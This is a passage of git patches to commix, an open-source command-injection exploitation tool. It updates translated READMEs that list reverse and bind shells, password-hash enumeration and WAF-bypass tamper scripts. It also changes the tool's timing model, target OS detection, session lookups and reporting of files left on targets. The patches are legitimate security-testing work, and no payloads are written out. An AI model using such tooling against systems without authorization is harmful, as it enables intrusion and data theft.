b/doc/translations/README-gr-GR.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command](https://owasp.org/www-community/attacks/Command_Injection)** (και **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. * **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. * **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. -* **Παράκαμψη φίλτρων και WAF** - 22 συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. +* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. * **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. * **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. * **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby και CGI, με πειραματική υποστήριξη για ASP.NET και JSP. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 20f284341c..e03b5de175 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command](https://owasp.org/www-community/attacks/Command_Injection)** (dan **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. -* **Pengelakan filter dan WAF** - 22 skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. +* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. * **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby dan CGI, dengan dukungan eksperimental untuk ASP.NET dan JSP. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 8ef730c5f8..00c61e53ea 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://owasp.org/www-community/attacks/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut](https://owasp.org/www-community/attacks/Command_Injection)** (ve **[kod](https://owasp.org/www-community/attacks/Code_Injection)**) enjeksiyonu güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. -* **Filtre ve WAF atlatma** - birlikte kullanılabilen 22 tamper betiği, belirlenimci bir sırayla uygulanır. +* **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. * **Geniş arka uç desteği** - PHP, Python, Perl, Ruby ve CGI; ASP.NET ve JSP için deneysel destek. From 9a76233ce50f5c6b64ba320229ff1028b959d89c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 12 Sep 2026 08:30:31 +0300 Subject: [PATCH 0780/1023] Fixed several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 111 ++++++++++++++++--- src/core/injections/controller/controller.py | 33 ++++-- src/core/injections/controller/handler.py | 7 ++ src/core/injections/controller/injector.py | 9 +- src/core/main.py | 18 +++ src/core/requests/requests.py | 45 +++----- src/utils/menu.py | 2 + src/utils/session_handler.py | 102 +++++++++++------ src/utils/settings.py | 11 +- 10 files changed, 246 insertions(+), 93 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 67e9476544..8edbb8e9ad 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target. * Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point. * Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else. * Fixed: HTTP error codes met during a scan are no longer added to the list of codes given with `--ignore-code`. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8e96808293..f3150820b6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -376,6 +376,21 @@ def flush_os_shell_suggestion(): warn_msg = "Re-run with the '--os-shell' switch to access a command shell." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +What every target is owed once it is done with, whether or not the run ends here: the out-of-band +channel is closed and the file left for the command output is offered for deletion. Separate from +quit(), which always raises - so with several targets this never used to be reached at all. +""" +def finish_target(): + close_oob_channel() + for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): + cleanup_fn() + settings.PENDING_FILE_CLEANUPS.clear() + if settings.LEFTOVER_FILES: + info_msg = "Files left behind: " + ", ".join(settings.LEFTOVER_FILES) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + del settings.LEFTOVER_FILES[:] + """ Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. """ @@ -393,11 +408,7 @@ def quit(filename, url, hard_exit): entry = settings.PENDING_OS_SHELL_ENTRY settings.PENDING_OS_SHELL_ENTRY = None entry() - close_oob_channel() - # Only ask to delete the output file now, at actual exit. - for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): - cleanup_fn() - settings.PENDING_FILE_CLEANUPS.clear() + finish_target() if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN: settings.LOGS_NOTIFICATION_SHOWN = True logs.logs_notification(filename) @@ -1430,14 +1441,44 @@ def define_target_os(): common.invalid_option(got_os) pass +""" +The one name the target's operating system is given, wherever it is printed. +""" +def target_os_label(): + return settings.OS.WINDOWS.title() if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell" + +""" +Record an identified operating system. Every check that fingerprints one comes through here, so the +value stored is always one of the two the rest of the code compares against - a server banner naming +a distribution is a name for that banner, not for the operating system - and a user who named their +own with '--os' is asked about a disagreement once, rather than being overruled by whichever check +happened to run last. +""" +def set_target_os(identified): + if not identified: + return + identified = settings.OS.WINDOWS if re.search(r"microsoft|win", identified, re.IGNORECASE) else settings.OS.UNIX + settings.TARGET_OS = identified + settings.IDENTIFIED_TARGET_OS = True + if menu.options.os: + user_os = settings.OS.WINDOWS if menu.options.os.lower() == settings.OS.WINDOWS else settings.OS.UNIX + if user_os != identified and identified_os(): + settings.TARGET_OS = user_os + """ Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): + # Asked once; every target after that is answered with what was decided then, rather than with + # nothing - which read as 'keep the identified one' and quietly dropped the user's own '--os'. + if settings.IGNORE_IDENTIFIED_TARGET_OS is not None: + return settings.IGNORE_IDENTIFIED_TARGET_OS if settings.IGNORE_IDENTIFIED_TARGET_OS == None: + # Named the way the heuristics name it, so whichever check spotted the difference, the two + # messages read as the one finding rather than as two operating systems. warn_msg = "Identified a different operating system (i.e. '" - warn_msg += settings.TARGET_OS.title() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." + warn_msg += target_os_label() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip] " while True: @@ -1598,7 +1639,6 @@ def record_probe_response_time(exec_time): settings.PROBE_RESPONSE_TIMES.append(exec_time) if len(settings.PROBE_RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: settings.PROBE_RESPONSE_TIMES[:] = settings.PROBE_RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] - record_baseline_response_time(exec_time) """ Record a plain request's response time @@ -1617,7 +1657,12 @@ def warm_up_response_baseline(url, http_request_method): warn_msg = "Time-related response comparison requires a larger statistical model" warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) - while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + # A target that has stopped answering returns nothing to record, and the model would never fill: + # every sample is given a turn, and the ones that failed are not asked for again forever. + attempts = 0 + max_attempts = settings.MIN_TIME_RESPONSES * 2 + while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES and attempts < max_attempts: + attempts += 1 sample = requests.quick_response_time_sample(url, http_request_method) if sample is not None: record_baseline_response_time(sample) @@ -1625,6 +1670,11 @@ def warm_up_response_baseline(url, http_request_method): settings.print_data_to_stdout(".") if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") + if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + warn_msg = "The target answered " + str(len(settings.RESPONSE_TIMES)) + " of the " + warn_msg += str(settings.MIN_TIME_RESPONSES) + " requests the response-time model asks for. " + warn_msg += "Time-related results are read against what was collected." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.close_progress_line() check_lagging() @@ -1632,9 +1682,11 @@ def warm_up_response_baseline(url, http_request_method): Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. """ def check_lagging(): - if not settings.LAGGING_CHECKED: + # Settled once, but not off whatever two samples happened to be in hand: a spread read that early + # says more about the pair than about the connection, so the verdict waits for a model to read. + if not settings.LAGGING_CHECKED and len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES // 2: settings.LAGGING_CHECKED = True - if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: + if statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True warn_msg = "Detected considerable lagging in the connection response(s). " warn_msg += "Consider using a higher '--time-sec' value (e.g. '10' or more)." @@ -1656,15 +1708,16 @@ def _delay_threshold_from(times): return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) def current_delay_threshold(): - threshold = _delay_threshold_from(settings.RESPONSE_TIMES) # The payload costs more than a plain request - on the file-based path, two PowerShell launches - # more. Measured against a model those plain requests are also in, the threshold lands under what - # the payload costs with nothing held back, and every probe then reads as delayed. + # more - so what it costs with nothing held back is the only thing a probe can be judged against. + # The plain model answers only until enough probes have been seen to have one of their own; the + # two are never pooled, since a spread that wide reads as deviation and lifts the threshold above + # the delay it exists to catch. if len(settings.PROBE_RESPONSE_TIMES) >= settings.MIN_PROBE_RESPONSES: probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES) if probe_threshold is not None: - threshold = probe_threshold if threshold is None else max(threshold, probe_threshold) - return threshold + return probe_threshold + return _delay_threshold_from(settings.RESPONSE_TIMES) """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. @@ -3616,10 +3669,38 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload if not settings.LOAD_SESSION: settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, decoded_payload, display_method, settings.TOTAL_OF_REQUESTS, title)) +""" +Whether the output file still answers on its URL. Only the file-based technique has one to ask, so +anything else is reported as unconfirmed rather than guessed at. +""" +def output_file_still_served(): + if not settings.DEFINED_WEBROOT: + return False + from src.core.requests import requests + try: + request = _urllib.request.Request(settings.DEFINED_WEBROOT) + headers.do_check(request) + response = requests.get_request_response(request) + return bool(response) and not isinstance(response, bool) + except Exception: + return False + +""" +Name the file this technique leaves in the target's document root, and the URL it answers on - it is +written there to carry the command output and is not removed on its own. +""" +def announce_leftover_file(technique): + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED or not settings.DEFINED_WEBROOT: + return + written = settings.WEB_ROOT + settings.DEFINED_WEBROOT.split("/")[-1] + if written not in settings.LEFTOVER_FILES: + settings.LEFTOVER_FILES.append(written) + """ Finalize injection process """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c65142e2d4..336bd610b7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -206,10 +206,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if match: settings.IDENTIFIED_COMMAND_INJECTION = True possible_os = ('Unix-like shell', 'Windows')[_ != 1] - if settings.OS.UNIX.lower() in possible_os.lower(): - settings.TARGET_OS = settings.OS.UNIX - else: - settings.TARGET_OS = settings.OS.WINDOWS + checks.set_target_os(possible_os) announce_heuristic_finding(possible_os) settings.SKIP_CODE_INJECTIONS = True break @@ -492,14 +489,29 @@ def fetch(v): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) - try: - real_body = _urllib.request.urlopen(fetch(settings.TESTABLE_VALUE), timeout=settings.TIMEOUT).read() - placeholder_body = _urllib.request.urlopen(fetch(placeholder), timeout=settings.TIMEOUT).read() - except Exception: + + # Sent the way every other request is, so the pacing, retries and error handling that hold for + # the scan hold here too. + def _body(value): + response = requests.get_request_response(fetch(value)) + if not response or isinstance(response, bool): + return None + try: + return response.read() + except Exception: + return None + + real_body = _body(settings.TESTABLE_VALUE) + # The same value asked for twice: whatever differs between these two is the page moving on its + # own, and a parameter is only dynamic where it changes the response by more than that. + repeat_body = _body(settings.TESTABLE_VALUE) + placeholder_body = _body(placeholder) + if real_body is None or repeat_body is None or placeholder_body is None: return - ratio = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() - if ratio >= settings.STABILITY_SIMILARITY_THRESHOLD: + noise = difflib.SequenceMatcher(None, real_body, repeat_body).ratio() + changed = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() + if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -1293,6 +1305,7 @@ def do_check(url, http_request_method, filename): common.show_http_error_codes() raise SystemExit() elif settings.MULTI_TARGETS: + checks.finish_target() logs.print_logs_notification(filename, url) else: # Summary, deferred actions, os-shell entry, log notice and exit all happen in quit(). diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 3cf6c57925..c1d9c2fcae 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -135,6 +135,13 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque else: cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # A delete that did not take must not be remembered as one, or the next run reports the file as + # already gone while it is still being served. + if checks.output_file_still_served(): + warn_msg = "The file ('" + OUTPUT_TEXTFILE + "') is still being served by the target, so it " + warn_msg += "does not appear to have been deleted. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 5be62d3683..1aba8fa6b0 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -131,8 +131,10 @@ def _warm_up_baseline(announce=True): # What a probe costs is a property of the command being asked, so the previous one's sample is # dropped rather than left to answer for this one. del settings.PROBE_RESPONSE_TIMES[:] - if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES or \ - len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: + # Each model is filled from its own kind of request: the probes below cannot stand in for plain + # ones, and pooling them is what lifts the threshold above the delay it is meant to catch. + checks.warm_up_response_baseline(url, http_request_method) + if len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: # Silent where the caller has just said what it is taking the model again for: the dots # carry on under that line instead of repeating it. if announce: @@ -152,8 +154,7 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES or \ - len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: + while len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: try: if fan_out > 1: with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: diff --git a/src/core/main.py b/src/core/main.py index 96b2af4948..83d88ce16e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -366,6 +366,24 @@ def init_injection(url): if menu.options.tamper: checks.perform_payload_modification(payload="") + # A response-time model measures one target's latency, and says nothing about the next one's. + # The same goes for what was concluded from it: the lagging verdict, the concurrency baseline and + # the delay already reported as safe. + del settings.RESPONSE_TIMES[:] + del settings.PROBE_RESPONSE_TIMES[:] + settings.URL_TIME_RESPONSE = 0 + settings.BASELINE_TARGET = None + settings.LAGGING_CHECKED = False + settings.LAGGING_DETECTED = False + settings.CONCURRENT_BASELINE = False + settings.REPORTED_MIN_SAFE_TIMESEC = None + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_TARGET_OS = False + # An operating system worked out for one target is not the next one's - unless the user named it. + if not menu.options.os: + settings.TARGET_OS = settings.OS.UNIX + settings.CHECK_BOTH_OS = False + # Reset web-root state settings.WEB_ROOT = "" settings.DEFAULT_WEB_ROOT = "" diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a74551bee6..c043867700 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -361,7 +361,16 @@ def _finish_response_time_estimate(diff, timesec): warn_msg += " data extraction." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - timesec = int(timesec) + # The payloads count the delay in whole seconds, so a fractional one cannot be used as given - + # rounded rather than dropped, and said out loud instead of quietly becoming a shorter delay. + if timesec != int(timesec): + rounded = int(round(timesec)) or 1 + warn_msg = "The delay given with '--time-sec' (i.e. '" + str(timesec) + "') is counted in whole " + warn_msg += "seconds by the payloads, so '" + str(rounded) + "' is used instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + timesec = rounded + else: + timesec = int(timesec) settings.URL_TIME_RESPONSE = url_time_response return timesec, url_time_response @@ -782,11 +791,8 @@ def application_identification(url, response=None): Detect the underlying operating system of the target server based on server headers. """ def check_os(server_header): - identified_os = "unknown" - user_defined_os = None - - if menu.options.os and checks.user_defined_os(): - user_defined_os = settings.TARGET_OS + if menu.options.os: + checks.user_defined_os() for banner in settings.SERVER_OS_BANNERS: match = re.search(banner.lower(), server_header.lower()) @@ -795,32 +801,17 @@ def check_os(server_header): debug_msg = "Detecting the operating system hosting the target server." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.IDENTIFIED_TARGET_OS = True - settings.TARGET_OS = match.group(0) + checks.set_target_os(match.group(0)) - if re.search(r"microsoft|win", settings.TARGET_OS, re.IGNORECASE): - identified_os = settings.OS.WINDOWS - settings.TARGET_OS = identified_os - - if menu.options.os and user_defined_os != settings.OS.WINDOWS: - if checks.identified_os(): - settings.TARGET_OS = user_defined_os - - if menu.options.shellshock: - err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - identified_os = "Unix-like" if settings.TARGET_OS.lower() == settings.OS.UNIX else settings.TARGET_OS - - if menu.options.os and user_defined_os == settings.OS.WINDOWS: - if checks.identified_os(): - settings.TARGET_OS = user_defined_os + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: + err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() break if settings.VERBOSITY_LEVEL != 0: if settings.IDENTIFIED_TARGET_OS: - debug_msg = "Underlying operating system identified as " + identified_os + "." + debug_msg = "Underlying operating system identified as " + checks.target_os_label() + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) diff --git a/src/utils/menu.py b/src/utils/menu.py index 2c5b19d6c6..722a421086 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -784,6 +784,8 @@ def _(self, *args): settings.USER_APPLIED_RETRIES = any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) # Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +settings.USER_APPLIED_COOKIE = options.cookie or "" +settings.USER_APPLIED_DATA = options.data or "" settings.USER_APPLIED_AUTH_CRED = bool(options.auth_cred) settings.USER_APPLIED_AUTH_TYPE = bool(options.auth_type) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 150220cda2..eace3e7731 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -76,6 +76,28 @@ def table_exists(conn, table): def sha1_hash(text): return hashlib.sha1(text.encode('utf-8')).hexdigest() +""" +How a stored row is matched to a URL: the address without its query string, either stored as it is +or followed by one - so a row kept for '/abc' is not handed back for '/a'. +""" +def url_match(url): + base_url = split_url(url) + return "(url = ? OR url LIKE ? ESCAPE '\\')", (base_url, escape_like(base_url) + "?%") + +""" +Restore a value the session stored, unless this run was given one of its own on the command line - +what the user asked for now outranks what a previous run happened to be using. +""" +def restore_option(stored, applied, label): + if not stored or stored == "None": + return None + if applied and applied != stored: + warn_msg = ("The stored session was found using the " + label + " '" + stored + "', which differs " + "from the one provided now ('" + applied + "'). Keeping the one provided now.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + return stored + """ Map stored technique names to their "--technique" menu letters. """ @@ -104,7 +126,8 @@ def get_host_from_url(url): """ def table_name(url): host = get_host_from_url(url) - hashed_host = sha1_hash(host) + # The layout stamp is hashed in with the host, so a table left by an earlier layout is not found. + hashed_host = sha1_hash(host + "|" + settings.SESSION_MILESTONE_VALUE) # Prefix 'session_' to identify session-related tables return "session_" + hashed_host @@ -252,10 +275,10 @@ def get_all_stored_shellshock(url, http_request_method): with _session_connection() as conn: if not table_exists(conn, table): return found - like_url = "%" + escape_like(split_url(url)) + "%" - query = ("SELECT http_header, payload FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND " + clause, url_params = url_match(url) + query = ("SELECT http_header, payload FROM \"" + table + "\" WHERE " + clause + " AND " "technique = ? AND http_request_method = ?;") - cursor = conn.execute(query, (like_url, "shellshock injection technique", http_request_method)) + cursor = conn.execute(query, url_params + ("shellshock injection technique", http_request_method)) found = [(row[0], row[1]) for row in cursor.fetchall()] return found except Exception: @@ -272,9 +295,9 @@ def has_stored_shellshock(url): with _session_connection() as conn: if not table_exists(conn, table): return False - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT 1 FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND technique = ? LIMIT 1;" - cursor = conn.execute(query, (like_url, "shellshock injection technique")) + clause, url_params = url_match(url) + query = "SELECT 1 FROM \"" + table + "\" WHERE " + clause + " AND technique = ? LIMIT 1;" + cursor = conn.execute(query, 